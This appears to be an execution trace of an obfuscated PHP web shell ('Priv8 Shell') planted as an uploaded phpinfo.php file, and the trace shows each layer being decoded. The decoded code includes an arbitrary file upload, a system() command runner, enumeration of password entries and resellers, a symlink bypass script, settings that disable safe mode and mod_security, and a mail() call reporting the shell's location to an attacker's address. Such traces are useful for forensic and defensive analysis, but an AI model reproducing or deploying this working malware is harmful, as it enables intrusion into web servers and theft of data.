width=\'100\' align=\'center\'> \t\t<font face=\'Courier New\' size=\'2\' color=\'#ff1111\'>Reseller</font></td> \t\t<td width=\'100\' align=\'center\'> \t\t<font face=\'Courier New\' size=\'2\' color=\'#ff1111\'>Accounts</font></td> \t\t<td width=\'100\' align=\'center\'> \t\t<font face=\'Courier New\' size=\'2\' color=\'#ff1111\'>Symlink</font></td> \t\t \t</tr> </table>   <BR>";\r\n\r\n\r\n\r\n## grabs resellerss file\r\n$lines = file("/etc/trueuserowners");\r\n\r\n\r\n## split pure resellers\'s names\r\nfor ($i = 0; $i < count($lines); $i++) {\r\n$values2 = split(\': \', $lines[$i]);\r\n$resellers[$i] = $values2[\'1\'];\r\n}\r\n\r\n## remove duplicated resellerss and empty values\r\n$resellers = array_unique($resellers);\r\n$resellers = array_filter($resellers);\r\n\r\nforeach($resellers as $reseller){\r\n\t$count = 0;\r\nfor ($i = 0; $i < count($lines); $i++) {\r\n\t\r\n\tif (strpos($lines[$i], ": $reseller") ) {\r\n    $count = $count+1;\r\n}\r\n\t\r\n}\r\n\r\nprint \'<table border="1" width="100%" bgcolor="#333333" cellpadding="0"  style="border-collapse: collapse" bordercolor="#000000">\r\n\t<tr>\r\n\t\t\r\n\t\t<td width="100" align="center">\r\n\t\t<font face="Courier New" size="2" color="#ff1111">\'.$reseller.\'</font></td>\r\n\t\t<td width="100" align="center">\r\n\t\t<font face="Courier New" size="2" color="#ff1111">\'.$count.\'</font></td>\r\n\t\t<td width="100" align="center">\r\n\t\t<a href="./sym1/root/home/\'.$reseller.\'/public_html/" target="_blank"><font face="Courier New" size="2" color="#ff1111">Symlink</font></td>\r\n\r\n\t</tr>\r\n</table>\r\n\r\n\r\n\r\n<BR></center> </body>  </html>\';\r\n}\r\n\r\n\r\n    die;\r\n}\r\n\r\nif (isset($_REQUEST[\'passwd\'])) {\r\n@ini_set(\'error_log\', NULL);\r\n@ini_set(\'log_errors\', 0);\r\n@ini_set(\'max_execution_time\', 0);\r\n@ini_set(\'output_buffering\', 0);\r\n@ini_set(\'display_errors\', 0);\r\n echo \'<center>\';\r\n        echo "<textarea class=\'inputz\' cols=\'90\' rows=\'20\'>";\r\n        for ($uid = 0;$uid < 60000;$uid++) {\r\n            $ara = posix_getpwuid($uid);\r\n            if (!empty($ara)) {\r\n                while (list($key, $val) = each($ara)) {\r\n                    print "$val:";\r\n                }\r\n                print "\r\n";\r\n            }\r\n        }\r\n        echo "</textarea><br><br>";\r\n    \r\n    die;\r\n}\r\nif (isset($_REQUEST[\'disabled\'])) {\r\necho "<html>\r\n\r\n<head>\r\n<meta http-equiv=\'pragma\' content=\'no-cache\'>\r\n</head><body>";\r\n\r\n$fp = fopen("php.ini","w+");\r\nfwrite($fp,"safe_mode = Off\r\ndisable_functions  =    NONE\r\nopen_basedir = OFF ");\r\necho "<center><b><font color=\'white\' size=\'4\'>[SafeMode Done]</font></center>";\r\necho ("");\r\n\r\n$fp2 = fopen(".htaccess","w+");\r\nfwrite($fp2,"\r\n<IfModule mod_security.c>\r\nKillFilterEngine Off\r\nKillFilterScanPOST Off\r\nKillFilterCheckURLEncoding Off\r\nKillFilterCheckUnicodeEncoding Off\r\n</IfModule>\r\n");\r\n\r\n\r\necho "<center><b> <font color=\'white\' size=\'4\'>[Mod_Security Done]</font></center>";\r\n    die;\r\n}\r\nif (isset($_REQUEST[\'sym\'])) {\r\nerror_reporting(0);\r\n$sym_dir = mkdir(\'priv_sympy\', 0755);\r\nchdir(\'priv_sympy\');\r\n$file_sym = "sym.py";\r\n$sym_script = "Iy8qUHl0aG9uCgppbXBvcnQgdGltZQppbXBvcnQgb3MKaW1wb3J0IHN5cwppbXBvcnQgcmUKCm9zLnN5c3RlbSgiY29sb3IgQyIpCgpodGEgPSAiXG5GaWxlIDogLmh0YWNjZXNzIC8vIENyZWF0ZWQgU3VjY2Vzc2Z1bGx5IVxuIgpmID0gIkFsbCBQcm9jZXNzZXMgRG9uZSFcblN5bWxpbmsgQnlwYXNzZWQgU3VjY2Vzc2Z1bGx5IVxuIgpwcmludCAiXG4iCgpvcy5tYWtlZGlycygnc3ltJykKb3MuY2hkaXIoJ3N5bScpCgpzdXNyPVtdCnNpdGV4PVtdCm9zLnN5c3RlbSgibG4gLXMgLyBwcml2OC50eHQiKQoKaCA9ICJPcHRpb25zIEluZGV4ZXMgRm9sbG93U3ltTGlua3NcbkRpcmVjdG9yeUluZGV4IHByaXY4LnBodG1sXG5BZGRUeXBlIHR4dCAucGhwXG5BZGRIYW5kbGVyIHR4dCAucGhwIgptID0gb3BlbigiLmh0YWNjZXNzIiwidysiKQptLndyaXRlKGgpCm0uY2xvc2UoKQpwcmludCBodGEKCnNmID0gIjxodG1sPjx0aXRsZT5TeW1saW5rIFB5dGhvbjwvdGl0bGU+PGNlbnRlcj48Zm9udCBjb2xvcj13aGl0ZSBzaXplPTU+UHJpdjggU215bGluazxicj48L2ZvbnQ+PGJyPjxmb250IGNvbG9yPXdoaXRlIHNpemU9Mz48dGFibGU+IgoKbyA9IG9wZW4oJy9ldGMvcGFzc3dkJywncicpCm89by5yZWFkKCkKbyA9IHJlLmZpbmRhbGwoJy9ob21lL1x3KycsbykKCmZvciB4dXNyIGluIG86Cgl4dXNyPXh1c3IucmVwbGFjZSgnL2hvbWUvJywnJykKCXN1c3IuYXBwZW5kKHh1c3IpCnByaW50ICItIiozMAp4c2l0ZSA9IG9zLmxpc3RkaXIoIi92YXIvbmFtZWQiKQoKZm9yIHh4c2l0ZSBpbiB4c2l0ZToKCXh4c2l0ZT14eHNpdGUucmVwbGFjZSgiLmRiIiwiIikKCXNpdGV4LmFwcGVuZCh4eHNpdGUpCnByaW50IGYKcGF0aD1vcy5nZXRjd2QoKQppZiAiL3B1YmxpY19odG1sLyIgaW4gcGF0aDoKCXBhdGg9Ii9wdWJsaWNfaHRtbC8iCmVsc2U6CglwYXRoID0gIi9odG1sLyIKY291bnRlcj0xCmlwcz1vcGVuKCJwcml2OC5waHRtbCIsInciKQppcHMud3JpdGUoc2YpCgpmb3IgZnVzciBpbiBzdXNyOgoJZm9yIGZzaXRlIGluIHNpdGV4OgoJCWZ1PWZ1c3JbMDo1XQoJCXM9ZnNpdGVbMDo1XQoJCWlmIGZ1PT1zOgoJCQlpcHMud3JpdGUoIjxib2R5IGJnY29sb3I9YmxhY2s+PHRyPjx0ZCBzdHlsZT1mb250LWZhbWlseTpjYWxpYnJpO2ZvbnQtd2VpZ2h0OmJvbGQ7Y29sb3I6d2hpdGU7PiVzPC90ZD48dGQgc3R5bGU9Zm9udC1mYW1pbHk6Y2FsaWJyaTtmb250LXdlaWdodDpib2xkO2NvbG9yOnJlZDs+JXM8L3RkPjx0ZCBzdHlsZT1mb250LWZhbWlseTpjYWxpYnJpO2ZvbnQtd2VpZ2h0OmJvbGQ7PjxhIGhyZWY9cHJpdjgudHh0L2hvbWUvJXMlcyB0YXJnZXQ9X2JsYW5rID4lczwvYT48L3RkPiIlKGNvdW50ZXIsZnVzcixmdXNyLHBhdGgsZnNpdGUpKQoJCQljb3VudGVyPWNvdW50ZXIrMQ==";\r\n$sym = fopen($file_sym, "w");\r\nfwrite($sym, base64_decode($sym_script));\r\nchmod($file_sym, 0755);\r\n$khoer = exec("python sym.py");\r\necho "<br><center><font color=\'white\'>Done ...</font> <a href=\'priv_sympy/sym/\' target=\'_blank\'><font color=\'red\'>Click Here</font> </a>";\r\n    die;\r\n}\r\n// xd\r\nif( empty($_POST[\'a\']) )\r\n\tif(isset($▚) && function_exists(\'action\' . $▚))\r\n\t\t$_POST[\'a\'] = $▚;\r\n\telse\r\n\t\t$_POST[\'a\'] = \'FilesMan\';\r\nif( !empty($_POST[\'a\']) && function_exists(\'action\' . $_POST[\'a\']) )\r\n\tcall_user_func(\'action\' . $_POST[\'a\']);\r\n?>'	/var/www/html/uploads/phpinfo.php(3) : eval()'d code(1) : eval()'d code	2	0
5	21	0	0.027640	1377144	ini_set	0		/var/www/html/uploads/phpinfo.php(3) : eval()'d code(1) : eval()'d code(2) : eval()'d code	1	2	'error_log'	NULL
5	21	1	0.027665	1377216
5	21	R			''
5	22	0	0.027680	1377144	ini_set	0		/var/www/html/uploads/phpinfo.php(3) : eval()'d code(1) : eval()'d code(2) : eval()'d code	2	2	'log_errors'	0
5	22	1	0.027697	1377216
5	22	R			'1'
5	23	0	0.027713	1377144	ini_set	0		/var/www/html/uploads/phpinfo.php(3) : eval()'d code(1) : eval()'d code(2) : eval()'d code	3	2	'max_execution_time'	0
5	23	1	0.027731	1377248
5	23	R			'30'
5	24	0	0.027745	1377144	ini_set	0		/var/www/html/uploads/phpinfo.php(3) : eval()'d code(1) : eval()'d code(2) : eval()'d code	4	2	'output_buffering'	0
5	24	1	0.027761	1377216
5	24	R			FALSE
5	25	0	0.027774	1377144	ini_set	0		/var/www/html/uploads/phpinfo.php(3) : eval()'d code(1) : eval()'d code(2) : eval()'d code	5	2	'display_errors'	0
5	25	1	0.027789	1377216
5	25	R			''
4		A						/var/www/html/uploads/phpinfo.php(3) : eval()'d code(1) : eval()'d code(2) : eval()'d code	6	$▘ = TRUE
4		A						/var/www/html/uploads/phpinfo.php(3) : eval()'d code(1) : eval()'d code(2) : eval()'d code	7	$▜ = 'utf-8'
4		A						/var/www/html/uploads/phpinfo.php(3) : eval()'d code(1) : eval()'d code(2) : eval()'d code	8	$▚ = 'FilesMan'
5	26	0	0.027842	1377144	md5	0		/var/www/html/uploads/phpinfo.php(3) : eval()'d code(1) : eval()'d code(2) : eval()'d code	9	1	'python-requests/2.25.1'
5	26	1	0.027859	1377240
5	26	R			'ecd862b3d0595af0a0b03f511e800938'
4		A						/var/www/html/uploads/phpinfo.php(3) : eval()'d code(1) : eval()'d code(2) : eval()'d code	9	$▙ = 'ecd862b3d0595af0a0b03f511e800938'
5	27	0	0.027887	1377208	md5	0		/var/www/html/uploads/phpinfo.php(3) : eval()'d code(1) : eval()'d code(2) : eval()'d code	10	1	'localhost'
5	27	1	0.027901	1377304
5	27	R			'421aa90e079fa326b6494f812ad13e79'
5	28	0	0.027918	1377208	md5	0		/var/www/html/uploads/phpinfo.php(3) : eval()'d code(1) : eval()'d code(2) : eval()'d code	11	1	'localhost'
5	28	1	0.027932	1377304
5	28	R			'421aa90e079fa326b6494f812ad13e79'
5	29	0	0.027946	1377272	prototype	1		/var/www/html/uploads/phpinfo.php(3) : eval()'d code(1) : eval()'d code(2) : eval()'d code	11	2	'421aa90e079fa326b6494f812ad13e79key'	'ecd862b3d0595af0a0b03f511e800938'
5		A						/var/www/html/uploads/phpinfo.php(3) : eval()'d code(1) : eval()'d code(2) : eval()'d code	373	_COOKIE['421aa90e079fa326b6494f812ad13e79key'] = 'ecd862b3d0595af0a0b03f511e800938'
6	30	0	0.027980	1377648	setcookie	0		/var/www/html/uploads/phpinfo.php(3) : eval()'d code(1) : eval()'d code(2) : eval()'d code	374	2	'421aa90e079fa326b6494f812ad13e79key'	'ecd862b3d0595af0a0b03f511e800938'
6	30	1	0.028002	1377848
6	30	R			TRUE
5	29	1	0.028015	1377784
4		A						/var/www/html/uploads/phpinfo.php(3) : eval()'d code(1) : eval()'d code(2) : eval()'d code	15	_POST['charset'] = 'utf-8'
4		A						/var/www/html/uploads/phpinfo.php(3) : eval()'d code(1) : eval()'d code(2) : eval()'d code	23	$hex = 'SJBEWMMwFIWf/RfHQ8gKzrHnplKmYXuUKqKMRJrQpdORtSkJJrL/YdrqcUK55H7nnnuu7SZpt9NlEhUv+XdQnPpjn3Ebx7j6BmdwOCgz0ruMHWx7yEvHKw+vpeF6bb9LrqDLUx6EQYmvnbRPSGXWM9NJVlKgGnZsmRKSMVuKTW9xO+s0Tql8qFTLi/6uPm0rsUquDsBNhO4wNDzjFrNuJZpRgxgp7qLi+fU9X54TJAB5h8lVeVXvUra4QU52jJAt6nfnhJImqKPiMX9L58tjgP4nY7e4FCbjNM/3uqiF46rVetGn+DOg0ouidOn25n9pPEvh95KEmWzGFFmlu5SeIZot3qZCzjZfMLrS13mm+oTzjCQ4nWP6AQ=='
5	31	0	0.028061	1378160	base64_decode	0		/var/www/html/uploads/phpinfo.php(3) : eval()'d code(1) : eval()'d code(2) : eval()'d code	24	1	'SJBEWMMwFIWf/RfHQ8gKzrHnplKmYXuUKqKMRJrQpdORtSkJJrL/YdrqcUK55H7nnnuu7SZpt9NlEhUv+XdQnPpjn3Ebx7j6BmdwOCgz0ruMHWx7yEvHKw+vpeF6bb9LrqDLUx6EQYmvnbRPSGXWM9NJVlKgGnZsmRKSMVuKTW9xO+s0Tql8qFTLi/6uPm0rsUquDsBNhO4wNDzjFrNuJZpRgxgp7qLi+fU9X54TJAB5h8lVeVXvUra4QU52jJAt6nfnhJImqKPiMX9L58tjgP4nY7e4FCbjNM/3uqiF46rVetGn+DOg0ouidOn25n9pPEvh95KEmWzGFFmlu5SeIZot3qZCzjZfMLrS13mm+oTzjCQ4nWP6AQ=='
5	31	1	0.028086	1378640
5	31	R			'HDX0\024\027C\nαRa{*DХӑ)\t&aqB~{&ie\022\025/wPcq\033Ǹ\006gp8(3һ\035l{K+\017zmKS\036AOHe3IVR\032vl\0221[Moq;4N|Tˋ>m+J\016M04<\026n%Q\030)=_\023$\000yUyURANv-w焒&1Kc\'c\024&4zѧ3ҋti<Kl\024Y!-ަB6_0y$8c\001'
5	32	0	0.028130	1378608	str_rot13	0		/var/www/html/uploads/phpinfo.php(3) : eval()'d code(1) : eval()'d code(2) : eval()'d code	24	1	'HDX0\024\027C\nαRa{*DХӑ)\t&aqB~{&ie\022\025/wPcq\033Ǹ\006gp8(3һ\035l{K+\017zmKS\036AOHe3IVR\032vl\0221[Moq;4N|Tˋ>m+J\016M04<\026n%Q\030)=_\023$\000yUyURANv-w焒&1Kc\'c\024&4zѧ3ҋti<Kl\024Y!-ަB6_0y$8c\001'
5	32	1	0.028168	1378960
5	32	R			'UQK0\024\027P\nαEn{*QХӑ)\t&ndO~{&vr\022\025/jCpd\033Ǹ\006tc8(3һ\035y{X+\017mzXF\036NBUr3VIE\032iy\0221[Zbd;4A|Gˋ>z+W\016Z04<\026a%D\030)=_\023$\000lHlHENAi-j焒&1Xp\'p\024&4mѧ3ҋgv<Xy\024L!-ަO6_0l$8p\001'
5	33	0	0.028212	1378480	gzinflate	0		/var/www/html/uploads/phpinfo.php(3) : eval()'d code(1) : eval()'d code(2) : eval()'d code	24	1	'UQK0\024\027P\nαEn{*QХӑ)\t&ndO~{&vr\022\025/jCpd\033Ǹ\006tc8(3һ\035y{X+\017mzXF\036NBUr3VIE\032iy\0221[Zbd;4A|Gˋ>z+W\016Z04<\026a%D\030)=_\023$\000lHlHENAi-j焒&1Xp\'p\024&4mѧ3ҋgv<Xy\024L!-ަO6_0l$8p\001'
5	33	1	0.028260	1378960
5	33	R			'vs(vffrg($_TRG["ynjyk"])) \t{  rpub \'<ugzy><obql><sbez zrgubq=CBFG rapglcr="zhygvcneg/sbez-qngn" npgvba=""><vachg glcr="svyr" anzr="ynjyk"><vachg glcr=fhozvg inyhr="Hc"></sbez></obql></ugzy>\';$ynjyk = @$_SVYRF["ynjyk"];   vs ($ynjyk["anzr"] != \'\') {  $shyycngu = $_ERDHRFG["cngu"] . $ynjyk["anzr"];  vs (zbir_hcybnqrq_svyr($ynjyk[\'gzc_anzr\'], $shyycngu)) {     rpub "<u1><n uers=\'$shyycngu\'>BX-Pyvpx urer!</n></u1>"; }} }'
5	34	0	0.028291	1378608	str_rot13	0		/var/www/html/uploads/phpinfo.php(3) : eval()'d code(1) : eval()'d code(2) : eval()'d code	24	1	'vs(vffrg($_TRG["ynjyk"])) \t{  rpub \'<ugzy><obql><sbez zrgubq=CBFG rapglcr="zhygvcneg/sbez-qngn" npgvba=""><vachg glcr="svyr" anzr="ynjyk"><vachg glcr=fhozvg inyhr="Hc"></sbez></obql></ugzy>\';$ynjyk = @$_SVYRF["ynjyk"];   vs ($ynjyk["anzr"] != \'\') {  $shyycngu = $_ERDHRFG["cngu"] . $ynjyk["anzr"];  vs (zbir_hcybnqrq_svyr($ynjyk[\'gzc_anzr\'], $shyycngu)) {     rpub "<u1><n uers=\'$shyycngu\'>BX-Pyvpx urer!</n></u1>"; }} }'
5	34	1	0.028318	1379088
5	34	R			'if(isset($_GET["lawlx"])) \t{  echo \'<html><body><form method=POST enctype="multipart/form-data" action=""><input type="file" name="lawlx"><input type=submit value="Up"></form></body></html>\';$lawlx = @$_FILES["lawlx"];   if ($lawlx["name"] != \'\') {  $fullpath = $_REQUEST["path"] . $lawlx["name"];  if (move_uploaded_file($lawlx[\'tmp_name\'], $fullpath)) {     echo "<h1><a href=\'$fullpath\'>OK-Click here!</a></h1>"; }} }'
5	35	0	0.028377	1381344	eval	1	'if(isset($_GET["lawlx"])) \t{  echo \'<html><body><form method=POST enctype="multipart/form-data" action=""><input type="file" name="lawlx"><input type=submit value="Up"></form></body></html>\';$lawlx = @$_FILES["lawlx"];   if ($lawlx["name"] != \'\') {  $fullpath = $_REQUEST["path"] . $lawlx["name"];  if (move_uploaded_file($lawlx[\'tmp_name\'], $fullpath)) {     echo "<h1><a href=\'$fullpath\'>OK-Click here!</a></h1>"; }} }'	/var/www/html/uploads/phpinfo.php(3) : eval()'d code(1) : eval()'d code(2) : eval()'d code	24	0
5	35	1	0.028407	1381344
4		A						/var/www/html/uploads/phpinfo.php(3) : eval()'d code(1) : eval()'d code(2) : eval()'d code	25	$xd = 'fZFieMIwEIffD/YdjkVjA6lwr1HZn6Y02faizJYKaY4SJVNkcfYwoemnt7XIQEpf5bi75+H4BVyNW2sCVKtdieJuOHx83UrKS2K3qJzx7Q24v3dyWtnsJIs1L9rmtjg2jFIIlNQwAgc8Y2Yah+9k+NWbkM+3LPZMHhLCbd/1zJmLOT/BXg1GFBsUEBWV4Rd8++bRJJv6SmSyUaGk4XugPyuJSJeJkoR9UW7cIdN1LcwML3heWLkcDQb/d/woeBV/kyAN6m2WZ5iNxIubRcaCPCX0PJkm+LvmVPqn2PuN534ML88H'
5	36	0	0.028437	1378768	base64_decode	0		/var/www/html/uploads/phpinfo.php(3) : eval()'d code(1) : eval()'d code(2) : eval()'d code	26	1	'fZFieMIwEIffD/YdjkVjA6lwr1HZn6Y02faizJYKaY4SJVNkcfYwoemnt7XIQEpf5bi75+H4BVyNW2sCVKtdieJuOHx83UrKS2K3qJzx7Q24v3dyWtnsJIs1L9rmtjg2jFIIlNQwAgc8Y2Yah+9k+NWbkM+3LPZMHhLCbd/1zJmLOT/BXg1GFBsUEBWV4Rd8++bRJJv6SmSyUaGk4XugPyuJSJeJkoR9UW7cIdN1LcwML3heWLkcDQb/d/woeBV/kyAN6m2WZ5iNxIubRcaCPCX0PJkm+LvmVPqn2PuN534ML88H'
5	36	1	0.028461	1379184
5	36	R			'}bx0\020\017\035Ec\003pQٟ4̖\ni\022%Sdq0駷@J_帻\005\\[k\002T]n8||JKb\rwrZ$5/86R\b0\002\a<cf\032d՛Ϸ,L\036\022m̙9?^\rF\024\033\024\020\025\027|$JdQ{?+H}Qn!u-\f/x^X\034\r\006w(x\025 \rmgċEƂ<%<&T~\f/\a'
5	37	0	0.028501	1379152	str_rot13	0		/var/www/html/uploads/phpinfo.php(3) : eval()'d code(1) : eval()'d code(2) : eval()'d code	26	1	'}bx0\020\017\035Ec\003pQٟ4̖\ni\022%Sdq0駷@J_帻\005\\[k\002T]n8||JKb\rwrZ$5/86R\b0\002\a<cf\032d՛Ϸ,L\036\022m̙9?^\rF\024\033\024\020\025\027|$JdQ{?+H}Qn!u-\f/x^X\034\r\006w(x\025 \rmgċEƂ<%<&T~\f/\a'
5	37	1	0.028537	1379440
5	37	R			'}ok0\020\017\035Rp\003cDٟ4̖\nv\022%Fqd0駷@W_帻\005\\[x\002G]a8||WXo\rjeM$5/86E\b0\002\a<ps\032q՛Ϸ,Y\036\022z̙9?^\rS\024\033\024\020\025\027|$WqD{?+U}Da!h-\f/k^K\034\r\006j(k\025 \rztċRƂ<%<&G~\f/\a'
5	38	0	0.028576	1379024	gzinflate	0		/var/www/html/uploads/phpinfo.php(3) : eval()'d code(1) : eval()'d code(2) : eval()'d code	26	1	'}ok0\020\017\035Rp\003cDٟ4̖\nv\022%Fqd0駷@W_帻\005\\[x\002G]a8||WXo\rjeM$5/86E\b0\002\a<ps\032q՛Ϸ,Y\036\022z̙9?^\rS\024\033\024\020\025\027|$WqD{?+U}Da!h-\f/k^K\034\r\006j(k\025 \rztċRƂ<%<&G~\f/\a'
5	38	1	0.028643	1379568
5	38	R			' $urk = "unpxre0882@tznvy.pbz";\r\n $onfyvx = "Sbhaq";\r\n $kq = "Svyr Cngu : " . $_FREIRE[\'QBPHZRAG_EBBG\'] . "\\e\\a";\r\n $kq.= "Freire Nqzva : " . $_FREIRE[\'FREIRE_NQZVA\'] . "\\e\\a";\r\n $kq.= "Freire Bcrengvat Flfgrz : " . $_FREIRE[\'FREIRE_FBSGJNER\'] . "\\e\\a";\r\n $kq.= "Furyy Yvax : uggc://" . $_FREIRE[\'FREIRE_ANZR\'] . $_FREIRE[\'CUC_FRYS\'] . "\\e\\a";\r\n $kq.= "Fvgr : " . $_FREIRE[\'UGGC_UBFG\'] . "\\e\\a";\r\n znvy($urk, $onfyvx, $kq); ?>'
5	39	0	0.028676	1379280	str_rot13	0		/var/www/html/uploads/phpinfo.php(3) : eval()'d code(1) : eval()'d code(2) : eval()'d code	26	1	' $urk = "unpxre0882@tznvy.pbz";\r\n $onfyvx = "Sbhaq";\r\n $kq = "Svyr Cngu : " . $_FREIRE[\'QBPHZRAG_EBBG\'] . "\\e\\a";\r\n $kq.= "Freire Nqzva : " . $_FREIRE[\'FREIRE_NQZVA\'] . "\\e\\a";\r\n $kq.= "Freire Bcrengvat Flfgrz : " . $_FREIRE[\'FREIRE_FBSGJNER\'] . "\\e\\a";\r\n $kq.= "Furyy Yvax : uggc://" . $_FREIRE[\'FREIRE_ANZR\'] . $_FREIRE[\'CUC_FRYS\'] . "\\e\\a";\r\n $kq.= "Fvgr : " . $_FREIRE[\'UGGC_UBFG\'] . "\\e\\a";\r\n znvy($urk, $onfyvx, $kq); ?>'
5	39	1	0.028702	1379824
5	39	R			' $hex = "hacker0882@gmail.com";\r\n $baslik = "Found";\r\n $xd = "File Path : " . $_SERVER[\'DOCUMENT_ROOT\'] . "\\r\\n";\r\n $xd.= "Server Admin : " . $_SERVER[\'SERVER_ADMIN\'] . "\\r\\n";\r\n $xd.= "Server Operating System : " . $_SERVER[\'SERVER_SOFTWARE\'] . "\\r\\n";\r\n $xd.= "Shell Link : http://" . $_SERVER[\'SERVER_NAME\'] . $_SERVER[\'PHP_SELF\'] . "\\r\\n";\r\n $xd.= "Site : " . $_SERVER[\'HTTP_HOST\'] . "\\r\\n";\r\n mail($hex, $baslik, $xd); ?>'
5	40	0	0.028754	1382272	eval	1	' $hex = "hacker0882@gmail.com";\r\n $baslik = "Found";\r\n $xd = "File Path : " . $_SERVER[\'DOCUMENT_ROOT\'] . "\\r\\n";\r\n $xd.= "Server Admin : " . $_SERVER[\'SERVER_ADMIN\'] . "\\r\\n";\r\n $xd.= "Server Operating System : " . $_SERVER[\'SERVER_SOFTWARE\'] . "\\r\\n";\r\n $xd.= "Shell Link : http://" . $_SERVER[\'SERVER_NAME\'] . $_SERVER[\'PHP_SELF\'] . "\\r\\n";\r\n $xd.= "Site : " . $_SERVER[\'HTTP_HOST\'] . "\\r\\n";\r\n mail($hex, $baslik, $xd); ?>'	/var/www/html/uploads/phpinfo.php(3) : eval()'d code(1) : eval()'d code(2) : eval()'d code	26	0
5		A						/var/www/html/uploads/phpinfo.php(3) : eval()'d code(1) : eval()'d code(2) : eval()'d code(26) : eval()'d code	1	$hex = 'hacker0882@gmail.com'
5		A						/var/www/html/uploads/phpinfo.php(3) : eval()'d code(1) : eval()'d code(2) : eval()'d code(26) : eval()'d code	2	$baslik = 'Found'
5		A						/var/www/html/uploads/phpinfo.php(3) : eval()'d code(1) : eval()'d code(2) : eval()'d code(26) : eval()'d code	3	$xd = 'File Path : /var/www/html\r\n'
5		A						/var/www/html/uploads/phpinfo.php(3) : eval()'d code(1) : eval()'d code(2) : eval()'d code(26) : eval()'d code	4	$xd .= 'Server Admin : webmaster@localhost\r\n'
5		A						/var/www/html/uploads/phpinfo.php(3) : eval()'d code(1) : eval()'d code(2) : eval()'d code(26) : eval()'d code	5	$xd .= 'Server Operating System : Apache/2.4.52 (Ubuntu)\r\n'
5		A						/var/www/html/uploads/phpinfo.php(3) : eval()'d code(1) : eval()'d code(2) : eval()'d code(26) : eval()'d code	6	$xd .= 'Shell Link : http://localhost/uploads/phpinfo.php\r\n'
5		A						/var/www/html/uploads/phpinfo.php(3) : eval()'d code(1) : eval()'d code(2) : eval()'d code(26) : eval()'d code	7	$xd .= 'Site : localhost\r\n'
6	41	0	0.028877	1382496	mail	0		/var/www/html/uploads/phpinfo.php(3) : eval()'d code(1) : eval()'d code(2) : eval()'d code(26) : eval()'d code	8	3	'hacker0882@gmail.com'	'Found'	'File Path : /var/www/html\r\nServer Admin : webmaster@localhost\r\nServer Operating System : Apache/2.4.52 (Ubuntu)\r\nShell Link : http://localhost/uploads/phpinfo.php\r\nSite : localhost\r\n'
6	41	1	0.029861	1382592
6	41	R			FALSE
5	40	1	0.029889	1382496
4		A						/var/www/html/uploads/phpinfo.php(3) : eval()'d code(1) : eval()'d code(2) : eval()'d code	27	$configs = 'KytJ0ChYWCtX10OJag1l8QhlZo9JL6hFj9XUR6jm5UUAgqKC0iQFJZvk1CI7JXiIkFdOlYKtAoYWqHlNQU1tRJUGQxFZBHeEPrIZhXJSQEmtgr0dAA=='
5	42	0	0.029921	1379328	base64_decode	0		/var/www/html/uploads/phpinfo.php(3) : eval()'d code(1) : eval()'d code(2) : eval()'d code	28	1	'KytJ0ChYWCtX10OJag1l8QhlZo9JL6hFj9XUR6jm5UUAgqKC0iQFJZvk1CI7JXiIkFdOlYKtAoYWqHlNQU1tRJUGQxFZBHeEPrIZhXJSQEmtgr0dAA=='
5	42	1	0.029942	1379520
5	42	R			'++I(XX+WCj\re\befI/EGE\000$\005%";%xWN\002\026yMAMmD\006C\021Y\004w>\031rR@I\035\000'
5	43	0	0.029969	1379488	str_rot13	0		/var/www/html/uploads/phpinfo.php(3) : eval()'d code(1) : eval()'d code(2) : eval()'d code	28	1	'++I(XX+WCj\re\befI/EGE\000$\005%";%xWN\002\026yMAMmD\006C\021Y\004w>\031rR@I\035\000'
5	43	1	0.029994	1379632
5	43	R			'++V(KK+JPw\rr\brsV/RTR\000$\005%";%kJA\002\026lZNZzQ\006P\021L\004j>\031eE@V\035\000'
5	44	0	0.030018	1379440	gzinflate	0		/var/www/html/uploads/phpinfo.php(3) : eval()'d code(1) : eval()'d code(2) : eval()'d code	28	1	'++V(KK+JPw\rr\brsV/RTR\000$\005%";%kJA\002\026lZNZzQ\006P\021L\004j>\031eE@V\035\000'
5	44	1	0.030046	1379632
5	44	R			'vs (vffrg($_ERDHRFG[\'pz\'])) {\r\n    rpub "<cer>";\r\n    $pz = ($_ERDHRFG[\'pz\']);\r\n    flfgrz($pz);\r\n    rpub "</cer>";\r\n    qvr;\r\n} ?>'
5	45	0	0.030067	1379488	str_rot13	0		/var/www/html/uploads/phpinfo.php(3) : eval()'d code(1) : eval()'d code(2) : eval()'d code	28	1	'vs (vffrg($_ERDHRFG[\'pz\'])) {\r\n    rpub "<cer>";\r\n    $pz = ($_ERDHRFG[\'pz\']);\r\n    flfgrz($pz);\r\n    rpub "</cer>";\r\n    qvr;\r\n} ?>'
5	45	1	0.030088	1379680
5	45	R			'if (isset($_REQUEST[\'cm\'])) {\r\n    echo "<pre>";\r\n    $cm = ($_REQUEST[\'cm\']);\r\n    system($cm);\r\n    echo "</pre>";\r\n    die;\r\n} ?>'
5	46	0	0.030125	1380552	eval	1	'if (isset($_REQUEST[\'cm\'])) {\r\n    echo "<pre>";\r\n    $cm = ($_REQUEST[\'cm\']);\r\n    system($cm);\r\n    echo "</pre>";\r\n    die;\r\n} ?>'	/var/www/html/uploads/phpinfo.php(3) : eval()'d code(1) : eval()'d code(2) : eval()'d code	28	0
5	46	1	0.030154	1380552
5	47	0	0.030163	1379136	ini_set	0		/var/www/html/uploads/phpinfo.php(3) : eval()'d code(1) : eval()'d code(2) : eval()'d code	31	2	'error_log'	NULL
5	47	1	0.030180	1379208
5	47	R			''
5	48	0	0.030193	1379136	ini_set	0		/var/www/html/uploads/phpinfo.php(3) : eval()'d code(1) : eval()'d code(2) : eval()'d code	32	2	'log_errors'	0
5	48	1	0.030208	1379208
5	48	R			'0'
5	49	0	0.030222	1379136	ini_set	0		/var/www/html/uploads/phpinfo.php(3) : eval()'d code(1) : eval()'d code(2) : eval()'d code	33	2	'max_execution_time'	0
5	49	1	0.030237	1379208
5	49	R			'0'
5	50	0	0.030250	1379136	set_time_limit	0		/var/www/html/uploads/phpinfo.php(3) : eval()'d code(1) : eval()'d code(2) : eval()'d code	34	1	0
5	50	1	0.030266	1379200
5	50	R			FALSE
5	51	0	0.030279	1379168	version_compare	0		/var/www/html/uploads/phpinfo.php(3) : eval()'d code(1) : eval()'d code(2) : eval()'d code	35	3	'7.2.34-37+ubuntu22.04.1+deb.sury.org+1'	'5.3.0'	'<'
5	51	1	0.030297	1379264
5	51	R			FALSE
5	52	0	0.030310	1379168	define	0		/var/www/html/uploads/phpinfo.php(3) : eval()'d code(1) : eval()'d code(2) : eval()'d code	38	2	'VERSION'	'Priv8 Shell'
5	52	1	0.030327	1379272
5	52	R			TRUE
